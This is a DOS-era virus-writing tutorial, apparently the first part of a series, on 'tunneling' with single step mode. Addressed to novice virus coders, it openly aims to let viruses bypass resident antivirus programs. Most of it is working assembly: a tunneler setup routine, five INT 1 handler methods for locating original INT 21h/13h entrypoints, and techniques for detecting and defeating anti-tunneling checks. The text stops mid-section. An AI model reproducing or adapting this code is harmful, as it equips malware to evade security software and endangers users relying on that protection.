Tunneling
with
Single step mode

        .--------------.
        | Introduction |
        '--------------'
        You are an amoeba, the lowest level life form of assembly coder around.
    After struggling away from conventional programming ideas into the strange
    murky world of viruses, you've steadily built up your library of techniques
    to use in your viruses and have advanced to a fairly decent level of
    accomplishment, a parasitic TSR COM infector.  Now, with such a great
    technological marvel under your belt, you, the amoeba, are beginning to ask
    some serious questions about more advanced virus programming techniques, such
    as... how do I stealth?  what is polymorphism?  what is tunneling?  and
    unfortunately, you're not getting many answers back.  Well, finally, there's
    someone who understands the position you're in.  Little amoeba, prepare to
    become leet.

        Yes, that's right, you are now reading the series of documents that will
    change your views about virus coding and yes, even the world situation in
    general, forever.  No longer will your creations wallow in the shadows of
    crappy AV behaviour blockers.  No longer will your viruses simply go around
    copying themselves from computer to computer, languidly taking orders from
    shitty AV software.  From this document onwards, your viruses will be the
    boss... the way things were meant to be!

        Yes, welcome to my series of documents on tunneling, the only series that
    will teach you absolutely everything there is to know about tunneling... with
    easy to understand step by step instructions and complete source codes and
    example programs for you to look at, because, after all, you're only an amoeba!
    If however, you're an amoeba bent on the destruction of the Earth with your
    mega-cool destructive viruses, fuck off, there is no room for you.  Virus
    coding is an art, lets keep it that way.

        .--------------------.
        | What is tunneling? |
        '--------------------'
        So now you've read that and I've got you all excited, you're beginning to
    think hard about what tunneling could possibly be and what makes it cool enough
    to write a four document series on.  Tunneling, in the simplest terms possible,
    is a technique used to find the original entrypoint of an interrupt before any
    programs began hooking into it.  What does this mean?  Well, if you have the
    original interrupt entrypoint, your viruses will be able to flow over resident
    AV programs with ease, bypassing any protection they may offer, rendering them
    useless.  Now wouldn't that be nice?

        .------------------------------------.
        | What types of tunneling are there? |
        '------------------------------------'
        Of course, tunneling isn't as simple as just one technique.  Just like
    many other methods used in virus programming, tunneling can be performed in
    many different ways, each having reasons it should be implemented over the
    others (pros) and reasons it shouldn't (cons).  Methods of tunneling come in
    three main flavours: single steppers, code scanners, and code emulators.

        This series will teach you EVERYTHING you need to know about tunneling
    and associated topics, and the documents within it need to be read one after
    the other so you can fully understand what I'm talking about.  Since the area
    of tunneling hasn't got many official terms assigned to it, I've had to give
    names to various things etc, but this doesn't mean everyone calls these
    things by the same name.

    -----------------------------------------------------------------------------
    Section 1:  How interrupts work (ONLY for the lesser amoeba among us)
    -----------------------------------------------------------------------------
                          Bit fields of the flags register

                          |F|E|D|C|B|A|9|8|7|6|5|4|3|2|1|0|
     OF  Overflow Flag  -----------' | | ^ | |   |   |   '---  CF  Carry Flag
     DF  Direction Flag -------------' | | | |   |   '-------  PF  Parity Flag
     IF  Interrupt Flag ---------------' | | |   '-----------  AF  Auxiliary Flag
     TF  Trap Flag      -----------------' | '---------------  ZF  Zero Flag
                                           '-----------------  SF  Sign Flag

        The interrupt vector table (IVT) is a list of 256 doublewords starting at
    address 0:0 and going to address 0:400h.  Each doubleword is a segment:offset
    pair, pointing to addresses in memory where execution is to go to once you
    execute the interrupt corresponding to the doubleword.  Each doubleword is
    given a number, starting from 0, and that is its corresponding interrupt.  So,
    at the address 0:0 is a doubleword pointer to the interrupt 0 handler, at the
    address 0:4 is a doubleword pointer to the interrupt 1 handler, and so on.

        To do an interrupt, you execute the 'INT x' instruction where x is the
    interrupt number you want to execute.  When you do this instruction, the CPU
    does the following things in order:
            decrements SP by 2 and copies the flags register to SS:SP
            clears the TF and IF bits in the flags register
            decrements SP by 2 and copies CS register to SS:SP
            decrements SP by 2 and copies IP register to SS:SP
            loads CS:IP with the doubleword at [0:(x*4)] (the doubleword in the
                IVT corresponding with your 'x' value)

        When an interrupt handler finishes its work, it returns to the calling code
    by using an 'IRET', which effectively is a RETF followed by a POPF.  When an
    interrupt wishes to modify the flags register for the calling code, such as to
    indicate an error occured, it must modify the flags register as saved on the
    stack, because that is what the end-result flags will look like, or
    alternatively, issue a 'RETF 2' which will execute a RETF, skipping the flags
    on the stack, leaving the current flags as the returned flags.

        When a program wishes to hook an interrupt, it redirects the interrupt to
    itself by updating the corresponding doubleword in the IVT.  Also, when
    writing your interrupt handler (the code executed when someone does the
    corresponding interrupt), there are some things you need to take into mind.

        First, you must remember that before you hooked the interrupt, there was an
    interrupt there before you :)  You have to decide wether to ignore that
    interrupt or to execute it before or after your own interrupt code.  If you
    were to ignore something like interrupt 021h (DOS's function handler) after
    replacing it with your own, your computer would screw up :)  However, hooking a
    NULL interrupt (one that isn't used by anyone else) you can just ignore the
    previous handler and replace it on exit (if your interrupt handler is only
    temporary).

        However, normally, you'll want to pass control on to their previous
    interrupt handler, which can be done in two ways depending on what you are
    really trying to do.  You can either use post or pre execution chaining.
    When you pre-execute, you call the original interrupt handler in your code
    before you start doing whatever it is your interrupt handler does, with a
    simulated interrupt call, usually something like:
            pushf
            call far ptr [saved_address]

        If you want your code to be executed before the other interrupt handler
    (for reasons such as to intercept a certain function call of that interrupt)
    you use post execution chaining, by adding this to the end of your interrupt
    handler:
            jmp far ptr [saved_address]

        In pre-execution chaining, you have the responsibility to pass control back
    to the calling code with one of the two return models, and in post-execution
    chaining, you don't need to pass control back, as that's the duty of the next
    interrupt handler in the chain.  One last thing to remember, is that when using
    pre-execution, you must preserve the flags from the return of that interrupt in
    case some error condition is set in the flags the calling code needs to know
    about.  If you don't preserve the flags, you're in for alot of trouble.  For
    instance:
        my_stupid_interrupt_handler:
            pushf
            call far ptr [old_interrupt_address]
                                    ; Call the old interrupt handler, which returns
                                    ; an error condition
            ... blah blah blah, lots of code
                                    ; Our code fucks with the flags and shit while
                                    ; doing its job
            iret
                                    ; We exit our interrupt handler, restoring
                                    ; the original flags and losing ALL the old
                                    ; flag information

        my_smart_interrupt_handler:
            pushf
            call far ptr [old_interrupt_address]
                                    ; Call the old interrupt handler, which returns
                                    ; an error condition
            pushf                   ; We save the flags on return from the
                                    ; interrupt
            ... blah blah blah, lots of code
                                    ; Our code fucks with the flags and shit while
                                    ; doing its job
            popf                    ; We restore the flags as they were on return
                                    ; from the old interrupt handler
            retf 2                  ; We exit with these flags instead of the
                                    ; flags pushed on the stack on execution
                                    ; of the interrupt

        When you execute an interrupt that has been hooked by others, each
    interrupt handler passes on control to the previous interrupt by one of these 2
    types of chaining constructs.  This 'chain' of interrupt handlers is called the
    interrupt chain, and will be referred to as such from here onwards.

    -----------------------------------------------------------------------------
    Section 2:  Single step mode
    -----------------------------------------------------------------------------
        Single step mode was created by INTEL way back in the days of the 8088
    processor and is available in each processor after this, which is good for us
    since our tunneling routine will now be compatable on all INTEL compatable
    processors.  Single step mode was originally created by INTEL to aid in the
    creation of debugging programs, and luckily for us it is very usefull in
    viruses and tunneling.

        The CPU has a bit in the flags called the TF.  The TF decides whether the
    CPU is in single step mode or not.  If it is set, single step mode is on, and
    if it is cleared, then single step mode is off.  Before executing each
    instruction, the CPU checks to see if the TF is set, and if it is, it does an
    INT 1.  When INT 1 has finished, it executes the instruction and repeats the
    cycle.  As such, on the entry to each INT 1, the stack will contain the CS:IP
    of the instruction that is about to be executed on exit from the interrupt (and
    also the flags to be restored after the end of the interrupt, but the
    information on the stack is NOT in this order).  On computer bootup, the INT 1
    address is set up to point to an 'IRET' in the ROM BIOS code.

        The reason single step mode is beneficial to us is that we can set up our
    own INT 1 handler and single step our way through another program's interrupt
    handler code.  As we go through their interrupt code, we can check the CS:IP of
    each instruction, or the instruction itself, to see if it is at the original
    entrypoint of the interrupt, and if it is we can save this address in a
    variable we can use anytime to bypass resident AV programs.

        For example, say we have a bad AV program that has hooked into INT 13 (the
    disk handler interrupt) and warns the user when any code writing to the
    bootsector of disks is detected.  It might look something like this:
        interrupt_handler:
            ... checks registers for a disk write to boot sector ...
            je warn_user
            jmp far ptr [original_interrupt_13]
                                    ; Chain back to the previous interrupt 13
        warn_user:
            ... warning lights, ding ding, sirens, blah blah blah ...

        Now, in our INT 1 handler with single stepping mode on, we are called
    before every instruction you saw above is executed.  In our interrupt handler
    we might look something like this:
        our_handler:
            ... get CS:IP of instruction about to be executed off of stack ...
            ... see if we're at the original interrupt entrypoint ...
            jne exit_handler
            ... save address of instruction's CS:IP as interrupt entrypoint ...
        exit_handler:
            ... exit, no need to chain back to other handlers ...

        In this way, we can setup single step mode, execute an INT 13 using a
    'safe' command.. such as 'Request Disk Status' or something that won't set off
    the AV... and our INT 1 handler will, in the end, have saved the address of the
    interrupt entrypoint, which from then on we can use, bypassing the AV software
    altogether.  How we detect if we're at the original interrupt entrypoint will
    be discussed later.

        There are a few different ways to implement an INT 1 handler that will tell
    us the original interrupt entrypoint, and this is where you can prove yourself
    to be more than just another amoeba, by creating innovative INT 1 handlers.
    But since this is a tutorial, I'll teach you a few methods of both tried and
    true INT 1 handlers and a few of the more rare ones.  But first we need to
    learn how to set up for single step mode.

        Recall from earlier our discussion on how the CPU handles an 'INT x'
    instruction and how we turn on single step mode.  You may remember that the TF
    toggles between single step modes off/on, and that an 'INT x' instruction turns
    off the TF after saving the flags onto the stack.  You may also remember that
    the reason we are learning how to use single step mode is to tunnel an
    interrupt.  If you put two and two together you'll realise that if we turn on
    single step mode and execute an 'INT x' instruction in an effort to tunnel an
    interrupt, our TF will be cleared for the duration of the interrupt execution
    and therefore our single step mode and interrupt handler disabled.  On exit
    from the interrupt, our flags are popped off of the stack, and our INT 1
    handler is re-enabled.

        Also, if we simply hook INT 1, turn on single step mode, and execute the
    interrupt we are trying to tunnel, our damn single step mode won't be active
    for the duration of the interrupt!  The answer to our prayers is simulating the
    'INT x' instruction, which is stupendously easy to do.  Simply push the flags
    onto the stack and issue a far call to the address of the interrupt you are
    executing.  You must also remember to set the registers required for use by the
    interrupt, just as in an 'INT x' instruction.  Be sure to have a spare copy of
    the flags saved on the stack without the TF set so on exit from the interrupt
    handler you can disable single step mode easily.

        Now that you know all about single step mode and what needs to be done to
    use it, we can now start writing the actual setup and calling code for a
    tunneling routine.  In our sample routine, no provisions are made for delta
    offsets, but they can easily be added later on if necessary.  Also, DS is
    assumed to equal CS for our example, and all code and data is within the same
    segment (as per usual for viruses).

    tunneler proc near
        push ds                         ; don't want to destroy our DS do we?
        mov ax, 03501h
        int 021h
        mov [orig_1], bx
        mov [orig_1+2], es              ; store original INT 1 address

        xor ax, ax
        mov es, ax
        cli
        mov word ptr [es:4], offset int_1_handler
        mov [es:6], cs
        sti                             ; redirect INT 1 to our routine
        mov [return_address], 0
        mov [return_address+2], 0       ; set our initial variable (which holds the
                                        ; address of the original interrupt
                                        ; entrypoint on exit from our handler)
                                        ; to 0000:0000

    ;   We can add some code here which is for the setup of specific types
    ;                         of INT 1 handlers

        xor ax, ax
        mov ds, ax                      ; our DS points to IVT

        pushf                           ; save copy of flags with TF cleared
        pushf
        pop ax
        or ah, 1
        push ax
        popf                            ; set TF

    ;   We set up the registers for our interrupt call here

        pushf
        call far ptr [(xx*4)]           ; simulate interrupt (xx=interrupt number)
                                        ; *4 because that's the length of a dword

        popf                            ; disable single step mode

        xor ax, ax
        mov es, ax
        cli
        mov ax, [cs:orig_1]
        mov [4], ax
        mov ax, [cs:orig_1+2]
        mov [6], ax
        sti                             ; reset INT 1 handler to original

        pop ds                          ; don't want to destroy our DS do we?
        ret
    tunneler endp

    -----------------------------------------------------------------------------
    Section 3:  Single step mode interrupt routines
    -----------------------------------------------------------------------------
        All that was well and easy, but now, what about the actual INT 1 handler
    itself?  Well, from here it starts getting complicated, but, for an advanced
    amoeba such as you it shouldn't take too long to understand.  So far we
    haven't really delved much into how we know if we've found the original
    interrupt entrypoint yet or not, because it depends totally on the INT 1
    handler you choose to use.  From here, I will show you five methods, and
    discuss the strong and weak points of each.  From this point I will only
    discuss the tunneling of interrupts 021h and 013h, as these are the main ones
    you'll need.  Depending on which interrupt routine you use, other interrupts
    can be tunneled just as easily as these two.

        .----------------------.
        | SEGMENT CHECK method |
        '----------------------'
        The SEGMENT CHECK method of tunneling is probably the very first single
    step tunneling routine to ever be used, or at least, I've seen it used in
    viruses older than any of the viruses using the newer techniques.
    Unfortunately, people aren't really using it much anymore these days, which
    is a shame considering it is such a great routine.

        In case you didn't know, DOS allocates memory from the bottom up.. that
    is.. from above the IVT and BIOS data area, up to the top of available
    memory.  The very first things that load off of a DOS disk are IO.SYS and
    MSDOS.SYS, which contains the I/O routines and DOS kernel respectively.  The
    DOS kernel is the real workhorse for all of DOS as it does most of the
    housekeeping tasks for DOS and also houses the original interrupt 021h
    vector.

        DOS organises memory into blocks with header information called an MCB,
    short for Memory Control Block.  The very first MCB that DOS allocates is
    used for the storage of resident programs loading out of CONFIG.SYS, and is
    located just above the DOS kernel in memory.  To find the first MCB block we
    use the code below, however it is for DOS versions 3.00 and above only.
    Early on in your code you can check the DOS version and if it is BELOW 3.00,
    you should probably bail out of your virus anyway.  If this annoys you
    however, you can check the CONS section of this routine for another method of
    using the first_mcb value.

    get_first_mcb proc near
            mov ah, 052h
            int 021h                    ; get DOS information list
            mov ax, [es:bx-2]           ; get FIRST_MCB field
            mov [first_mcb], ax         ; save it into a variable
            ret
    get_first_mcb endp

        If you cast your mind back to our original discussion on why single step
    mode is beneficial for us, you'll remember I said that we can check the CS:IP
    of each instruction so we can see if we're near the original interrupt
    entrypoint.  So, now that we know this entrypoint is located in the DOS
    kernel, and that the DOS kernel lies just below the first MCB (which we have
    the address of), we can begin to write our INT 1 handler.  Its job will be to
    check the CS:IP of each instruction as it is about to be executed, and see if
    the CS: is below the first MCB.  If it is, we are in the DOS kernel, and we
    save the CS:IP value as the original interrupt entrypoint, and we disable
    ourselves.

        For tunneling interrupt 013h, we can go about segment checks in two ways,
    the old way, or the new way.  The old way was developed back before things
    like extended/expanded memory, etc, and as such, as you'll see later, it
    doesn't work well in the newer environments.  The new way is alot more
    compatible with these systems, but may not be compatible with all strange
    DOS-hacks such as DR-DOS/PC-DOS.  It might be, I just don't know.

        The old way depends on the REAL original entrypoint to interrupt 013h
    residing in the ROM BIOS, which is where the hard-coded bios routines are
    located that your computer uses to boot up.  This used to be okay, as you
    simply checked the CS: of each instruction against the ROM BIOS segment, and if
    it was equal, you're in the original interrupt entrypoint so you save the value
    and exit, just like the DOS kernel method.  However, this has some problems in
    that, the ROM BIOS segments for interrupt 013h aren't always in the same place
    for different computers. Some start at 0c800 and, some at 0f000h, and you don't
    know which one the disk handler is stored in beforehand.

        However, this method has complications in the computers of today, depending
    on how you code your routine.  If you decide to check for CS>=0c800h, as most
    viruses do to cover both the old and new style ROM BIOS segments, you're in
    trouble.  DOS 5+ designed something called the UMB(upper memory block), which
    is a method of storing data in the holes between the BIOS ROM's in upper
    memory.  This causes a problem for us in that these addresses can be above the
    ROM BIOS segment we define, unless we use 0f000h as our segment, and this isn't
    valid on some computers.  On top of this, there is another place ABOVE 0f000h
    where we can store data on 286 and above computer systems, so checking for
    CS>=0f000h won't work either.  To combat this, simply modify your code to check
    for CS=0c800h OR CS=0f000h, or use the new routine.  The problem with checking
    for both, is that it is feasable that some ROM BIOS manufacturers, on bootup,
    dont align their interrupt handlers on proper segment boundaries (like instead
    of 0f000:00010h, they use 0f001:0000h which equates to the same physical
    address).  I have not, however, seen a computer like this as yet.

        So, although we could use the old routine, it is not recommended.  So, what
    can we do?  Well, we use the next best thing available to us, the handler DOS
    appends onto the original interrupt 013h as soon as it loads up.  This handler
    is *ALWAYS* in segment 070h (for MS-DOS at least), and so we have a constantly
    valid address in the DOS kernel we can tunnel to.  Perfect, our problem is
    solved as the brand of computer and memory installed doesn't matter anymore!
    Our handler will check for CS:=070h, and if it is equal, CS:IP is saved.  The
    extra bonus with this method is we can combine it into the same routine as
    tunneling for interrupt 021h by simply changing the first_mcb value to 070h and
    calling the same routine, saving us code space.

    ; Start of INT 1 handler using SEGMENT CHECK method
        first_mcb      dw 0
        segment_status db -1
        segment_type   db 0             ; 0=DOS KERNEL scan
                                        ; 1=IO KERNEL scan
                                        ; 2=ROM BIOS scan
    segment_handler proc far
        push bp
        mov bp, sp
        push ax
        cmp [cs:segment_status], 0
        je segment_exit                 ; exit if we've finished tunneling already
        mov ax, [bp+4]                  ; get CS:
        cmp [cs:segment_type], 1
        je segment_io_scan
        cmp [cs:segment_type], 2
        je segment_bios_scan
        cmp ax, [cs:first_mcb]
        jb segment_found                ; check CS: is in DOS kernel
        jmp segment_exit
    segment_io_scan:
        cmp ax, 070h
        je segment_found
        jmp segment_exit                ; check CS: is in IO kernel
    segment_bios_scan:
        cmp ax, 0c800h                  ; check for XT bios
        je segment_found
        cmp ax, 0f000h                  ; check for XT+ bios
        je segment_found
    segment_exit:
        pop ax
        pop bp
        iret
    segment_found:
        mov ax, [bp+4]
        mov [cs:return_address+2], ax
        mov ax, [bp+2]
        mov [cs:return_address], ax     ; save CS:IP
        mov [cs:segment_status], 0      ; indicate to stop tunneling
        jmp segment_exit
    segment_handler endp
    ; End of INT 1 handler using SEGMENT CHECK method

        .------.
        | Pros |
        '------'
        Using segment checks for tunneling has many various pros.  The routine
    itself is very small, and also quick and easy to code.  Also, the routine
    itself has withstood the test of time, as it was invented back in the time of
    viruses such as DARK AVENGER and FRODO, and it still works!

        .------.
        | Cons |
        '------'
        I've heard that some memory managers can play around with the address
    returned as the first MCB by DOS's get list-of-lists function, making this
    routine worthless in such cases, however, I have not been able to
    substantiate these remarks.  If it IS true, then the kernel is still below
    the first MCB it's just the first MCB address has been hidden from your view.
    If you're really picky, I've also heard the DOS kernel is ALWAYS below
    segment 0300h, and as such you could use this as your first_mcb value just
    incase a memory manager decides to make things difficult for you.  However,
    once again, that remark is, so far, unsubstantiated.

        Finally, this is sortof DOS-version dependant.  I'm not sure it will work
    on all the generic DOS versions, as they could be using different segment
    values and stuff to store data and code in, as no normal program will ever rely
    on DOS code being in certain segments to function properly, and as such they
    have no need NOT to change segments around.

        .-----------------------.
        | HAND-over-HAND method |
        '-----------------------'
        I call this method the HAND-over-HAND method because it is similar to
    slowly pulling yourself up the interrupt chain that you are tunneling.  It is
    very similar to the SEGMENT CHECK method, but slightly different and works by
    using a different idea.

        To start off with, we have a variable set up with the hand_segment variable
    equal to 0ffffh.  Then, in our interrupt handler, we compare the CS: of the
    hand_segment variable against the CS: of the instruction we are about to
    execute.  If our instruction is in a lower part of memory than the interrupt
    handler, we save its CS:IP and update the hand_segment with its CS: value.
    This continues until our interrupt handler is disabled.  By the end, of the
    interrupt chain, the last CS:IP value we saved is the lowest level of interrupt
    handler control is passed to.

        When we handle the different types of INT 13 tunneling, however, we need to
    modify our code.  For the old method of ROM BIOS detection, we must go UP in
    memory, as the ROM BIOS is at the top of memory, not down the bottom.  For the
    new style scanning, we can use the same routine as for the INT 21 handler.

    ; Start of INT 1 handler using HAND-over-HAND method
    hand_segment dw 0                   ; Where we save our CS: values
    hand_type    db 0                   ; 0=Go down
                                        ; 1=Go up
    hand_handler proc far
        push bp
        mov bp, sp
        push ax
        mov ax, [bp+4]
        cmp byte ptr [cs:hand_type], 1
        je go_up
    go_down:
        cmp ax, [cs:hand_segment]
        jb hand_over_hand
        jmp hand_exit
    go_up:
        cmp ax, [cs:hand_type]
        ja hand_over_hand
    hand_exit:
        pop ax
        pop bp
        iret
    hand_over_hand:
        mov [cs:return_address+2], ax
        mov [cs:hand_segment], ax
        mov ax, [bp+2]
        mov [cs:return_address], ax     ; save CS:IP
        jmp hand_exit
    hand_handler endp
    ; End of INT 1 handler using HAND-over-HAND method

        .------.
        | Pros |
        '------'
        It's small, and doesn't rely on hard coded segments like the SEGMENT CHECK
    method does.

        .------.
        | Cons |
        '------'
        Once again, it may not work on all DOS versions, however, I can't see any
    reason for it NOT to work on DR-DOS and the like.

        .---------------------.
        | OPCODE CHECK method |
        '---------------------'
        Now that you know how to use the SEGMENT CHECK method, it's time to move
    onto greener pastures and learn more advanced methods of single step
    tunneling.  The method I'm about to show you isn't too crash hot, even though
    it has been used in some rather major viruses (LADY DEATH is one recent one).
    It is shown to you merely as a stepping stone into the next single step
    routine, and you also need to know this one off by heart in the next document
    in this tunneling series.

        This method is based on the fact that when a program hooks into an
    interrupt chain, somewhere in its interrupt handler it should pass control
    onto the next interrupt handler in the chain.  This is especially true for
    interrupts 021h and 013h, but pretty much the same for all the other
    interrupts too.

        I have never seen the interrupt handlers of two programs in the same
    segment, and I doubt there ever will be such a case, and so, to pass control
    onto another handler, the interrupt handler must use some method of execution
    transferrance such as:
            jmp far ptr offset:seg
            OR
            jmp far ptr [variable_holding_address]
            OR
            call far ptr offset:seg
            OR
            call far ptr [variable_holding_address]

        Anyway, the job of our INT 1 handler in this section is the check the
    instruction currently being executed by the CPU for a 'JMP FAR' or a 'CALL
    FAR'.  Each time we see instructions like these, we save the address of where
    we will be next over our previous original interrupt handler address, and
    hopefully, when the last interrupt handler chains back to the original handler
    , we will have our CS:IP, as the last handler in the chain does not usually
    execute far jumps itself.  If the interrupt we are tunneling has not been
    hooked, a value will not be returned as the original interrupt entrypoint.

        The only other thing to note before going into the actual code for this,
    is about segment overrides.  The instructions shown above, when referencing a
    variable, can use segment overrides.  The CPU sees the segment overrides and
    the instruction after it as one whole instruction, and as such we need to
    take out the overrides if they're there, and use them later if needed, which
    is surprisingly easy to do.

    ; Start of INT 1 handler using OPCODE CHECK method
    _override dw 0                      ; used to store current override
    _cs       dw 0                      ; CS of instruction being executed, needed
                                        ; to simplify override usage
    _ds       dw 0                      ; DS before we modified it, needed to
                                        ; simplify override usage

    opcode_handler proc far
        push bp
        mov bp, sp
        push ax
        push si
        push ds                         ; save registers
        mov ax, [bp+4]
        mov [cs:_cs], ax                ; save CS
        mov [cs:_ds], ds                ; save DS
        mov [cs:_override], ds          ; setup override as default
        lds si, [bp+2]                  ; get address of instruction into DS:SI
        cld
    read_opcode:
        lodsb
        cmp al, 026h
        je es_override                  ; use ES override
        cmp al, 036h
        je ss_override                  ; use SS override
        cmp al, 02eh
        je cs_override                  ; use CS override
        cmp al, 03eh
        je ds_override                  ; use DS override

        cmp al, 0eah
        je immediate                    ; jmp far off:seg
        dec si
        lodsw
        cmp ax, 02effh
        je variable                     ; jmp far [variable]
        cmp ax, 09ah
        je immediate                    ; call far off:seg
        cmp ax, 01effh
        je variable                     ; call far [variable]

    opcode_exit:
        pop ds
        pop si
        pop ax
        pop bp
        iret

    immediate:
        lodsw
        mov [cs:return_address], ax
        lodsw
        mov [cs:return_address+2], ax   ; save address of area we're going into
        jmp opcode_exit

    variable:
        lodsw
        mov si, ax
        mov ax, [cs:_override]
        mov ds, ax
        jmp immediate                   ; extract off:seg

    ds_override:
        mov ax, [cs:_ds]
        mov [cs:_override], ax
        jmp read_opcode
    cs_override:
        mov ax, [cs:_cs]
        mov [cs:_override], ax
        jmp read_opcode
    es_override:
        mov [cs:_override], es
        jmp read_opcode
    ss_override:
        mov [cs:_override], ss
        jmp read_opcode
    opcode_handler endp
    ; End of INT 1 handler using OPCODE CHECK method

        .------.
        | Pros |
        '------'
        The good thing about this routine is that it isn't depending on any segment
    value.  It is simply going along blindly saving information, and as such, it
    should work on mostly any interrupt which chains back to others, and doesn't
    have a flaw of not working on certain DOS implementations.

        .------.
        | Cons |
        '------'
        Unfortunately, this routine has many cons.  You cannot check for every
    method of jumping into another segment, and as such this routine could miss the
    important last value.  Also, it is stupendously easy to confuse, and if the
    last interrupt handler in the chain does some intersegment jumps of its own
    (which although not likely, it is highly possible), you end up with a garbage
    original interrupt entrypoint value.

        .----------------.
        | CS:LIST method |
        '----------------'
        This is a method I developed myself to fix up some of the problems
    associated with the OPCODE CHECK method.  Although I haven't seen it used
    anywhere, it is highly possible somebody thought about it before me.  Either
    way, all the code in this document is free for you to use anyway so it
    doesn't really matter :)

        This handler is the cream of the crop.  Although it itself has some
    problems, it has the pros of OPCODE CHECK methods, and a lot less of the
    cons.  It is based somewhat on both SEGMENT CHECK and OPCODE CHECK methods,
    and as such is highly robust :)

        We start of with a small list of words, about 10 or 15 should do it.  To
    start with, we initalize the list to 0's and put the CS: of our code right at
    the top of the list.  Then, for each time our INT 1 handler is called, we
    check the CS: value of the code we are executing against the values in the
    list.  If there is a match, we do nothing.  If we do NOT find a match for the
    CS: in the list, we must have done an intersegment jump, so we copy CS: into
    the next available slot in the list, and save the complete CS:IP as our
    original interrupt entrypoint.  By the end of the interrupt chain, we will
    have a list of all the changes in CS: and the CS:IP of the last changed CS:
    to a previously undefined value, our original interrupt entrypoint.

        The last thing to note in this INT 1 handler is the check to make sure
    the CS: values don't outgrow the space allocated for them.  If it does, they
    will start overwriting our code, and the computer will crash, and as such
    this check is necessary.  Also, it sets the original interrupt entrypoint to
    0:0 to tell the calling code the tunnel was unsuccessfull if this occurs.

    ; Start of INT 1 handler using CS:LIST method
    list_begin:
        dw 015h dup(0)
    list_end:

    list_handler proc far
        push bp
        mov bp, sp
        push ax
        push bx
        mov ax, [bp+4]
        lea bx, [list_begin]
    list_traverse:
        cmp bx, offset list_end
        je list_error                   ; this is a check to make sure the
                                        ; list of CS: values doesn't outgrow
                                        ; the space allocated for them
        cmp [cs:bx], ax
        je list_exit                    ; this is if the CS: is already on the
                                        ; list
        cmp word ptr [cs:bx], 0
        je list_insert                  ; add us to the list if we've reached the
                                        ; end of defined values
        add bx, 2
        jmp list_traverse               ; this moves down to the next item on
                                        ; the CS: list
    list_insert:
        mov [cs:bx], ax                 ; put us on the list
        mov [cs:return_address+2], ax
        mov ax, [bp+2]
        mov [cs:return_address], ax     ; save CS:IP value
        jmp list_exit

    list_error:
        mov [cs:return_address], 0
        mov [cs:return_address+2], 0    ; set error indicator

    list_exit:
        pop bx
        pop ax
        pop bp
        iret
    list_handler endp
    ; End of INT 1 handler using CS:LIST method

        .------.
        | Pros |
        '------'
        The routine is far less susceptable to confusion, and it cannot miss
    intersegment jumps like the OPCODE CHECK method.  It will not return a garbage
    address when run under an un-hooked interrupt.

        .------.
        | Cons |
        '------'
        If the last interrupt handler in the interrupt chain does some intersegment
    jumps of its own (which although not likely, it is highly possible), you end up
    with a garbage original interrupt entrypoint value.  However, if the code you
    are tunneling does some internal intersegment jumps of its own, your return
    address will once again be screwed just like in the OPCODE CHECK method.

        .-------------------.
        | IRET CHECK method |
        '-------------------'
        There is yet another way to find our original interrupt handler.  This
    method is used in a few viruses hanging around but isn't widely used.  Why not?
    Well, it's hard to tell, I guess people just don't know about it.  Also, my
    tests have found it to be somewhat unreliable for unknown reasons on my
    computer.

        Before we start tunneling, we make sure our iret_status is set to -1.
    Each time we detect a change in the current CS: value, we save the CS:IP. For
    each instruction we execute, we check if it is an 'IRET' instruction, and if
    so it means we've found the last interrupt in the chain, so we disable
    ourselves, keeping the CS:IP we logged before as the original interrupt
    entrypoint.

    ; Start of INT 1 handler using IRET method
    iret_status db -1
    iret_handler proc far
        push bp
        mov bp, sp
        push ax
        push ds
        push si
        cmp [cs:iret_status], 0
        je iret_exit
        mov ax, [cs:return_address+2]
        cmp [bp+4], ax
        jne iret_save
        lds si, [bp+2]
        lodsb
        cmp al, 0cfh
        je iret_exit_detected
    iret_exit:
        pop si
        pop ds
        pop ax
        pop bp
        iret
    iret_save:
        mov ax, [bp+4]
        mov [cs:return_address+2], ax
        mov ax, [bp+2]
        mov [cs:return_address], ax     ; save CS:IP
        jmp iret_exit
    iret_exit_detected:
        mov [cs:iret_status], 0
        jmp iret_exit
    iret_handler endp
    ; End of INT 1 handler using IRET method

        .------.
        | Pros |
        '------'
        Fairly reliable, but should be modified to handle IRET instructions hidden
    inside instruction prefixes before you use code like this.  Also, it might be
    worthwhile to handle 'RETF 2' as well.

        .------.
        | Cons |
        '------'
        You have to be carefull what function number you use in case an interrupt
    earlier in the chain has hooked that specific function and exits straight away
    with a return value without ever chaining back to previous interrupts.

    -----------------------------------------------------------------------------
    Section 4:  Anti-Tunneling and Anti-Anti-Tunneling for single step mode
    -----------------------------------------------------------------------------
        As there is matter, there is anti-matter, and as there is tunneling,
    there is anti-tunneling, and as there is anti-tunneling, there is
    anti-anti-tunneling.  All the techniques presented below apply, for now, only
    to single step tunneling.  You can use the anti-tunneling methods in your
    viruses to keep AV tunnelers away, but remember that you are subject to the
    rules of anti-anti-tunneling too.

        .-------------------------------.
        | Detection with the FLAGS test |
        '-------------------------------'
        The easiest way to check for a single step tunneler is by looking into
    the flags register for a set TF.  The routine below will set the CF if a
    tunneler is present, and clear the CF if a tunneler is not present.

    check_for_tunneler proc near
        clc                             ; set to no tunneler by default
        pushf
        pop ax
        and ah, 1                       ; clear all bits except for TF
        jz no_tunneler                  ; if TF is clear, no tunneler is present
        stc                             ; set CF because tunneler is in memory
    no_tunneler:
        ret                             ; return to calling code
    check_for_tunneler endp

        .------------------------.
        | Fooling the FLAGS test |
        '------------------------'
        In flags testing, whoever is tunneling has the upper hand, as they can
    check the currently executing opcode for PUSHF/POPF and modify the results of
    these instructions.  For example, to stop someone from seeing the TF set, you
    simply check if the last instruction executed was a PUSHF, and if so, you do an
    (AND byte ptr [ss:bp+8], 011111110b) which turns off the TF in the copy of the
    flags they have on the stack.  Then, to stop someone from disabling single step
    mode by PUSHF'ing the flags register back onto the stack, you simply check for
    a PUSHF as the current instruction, and if it is there, do an (OR byte ptr
    [ss:bp+8], 1), turning the TF back on in the copy of the flags on the stack.

        The problem with chaging the flags on PUSHF in this way is that you may
    have just jumped to an address where, just below it, there is a PUSHF that
    wasn't executed!  By modifying the stack in this scenario, you could very
    well cause a system crash.  Instead of checking if the last instruction was a
    PUSHF, you can instead check if the current instruction is a PUSHF and set a
    flag in your INT 1 handler.  On each entry to the handler, you can then check
    if the PUSHF flag is set, and if so, you clear it and modify the stack as
    before.

        Finally, even if you have made any flags test totally futile, you must add
    in code to make sure YOUR code can disable single step mode with a POPF! You
    can do this by simply checking your current CS: against the CS: of the
    currently executing instruction, on entry to the interrupt handler, and if
    there is a match, simply exit without checking for any opcodes, etc.

        .-------------------------.
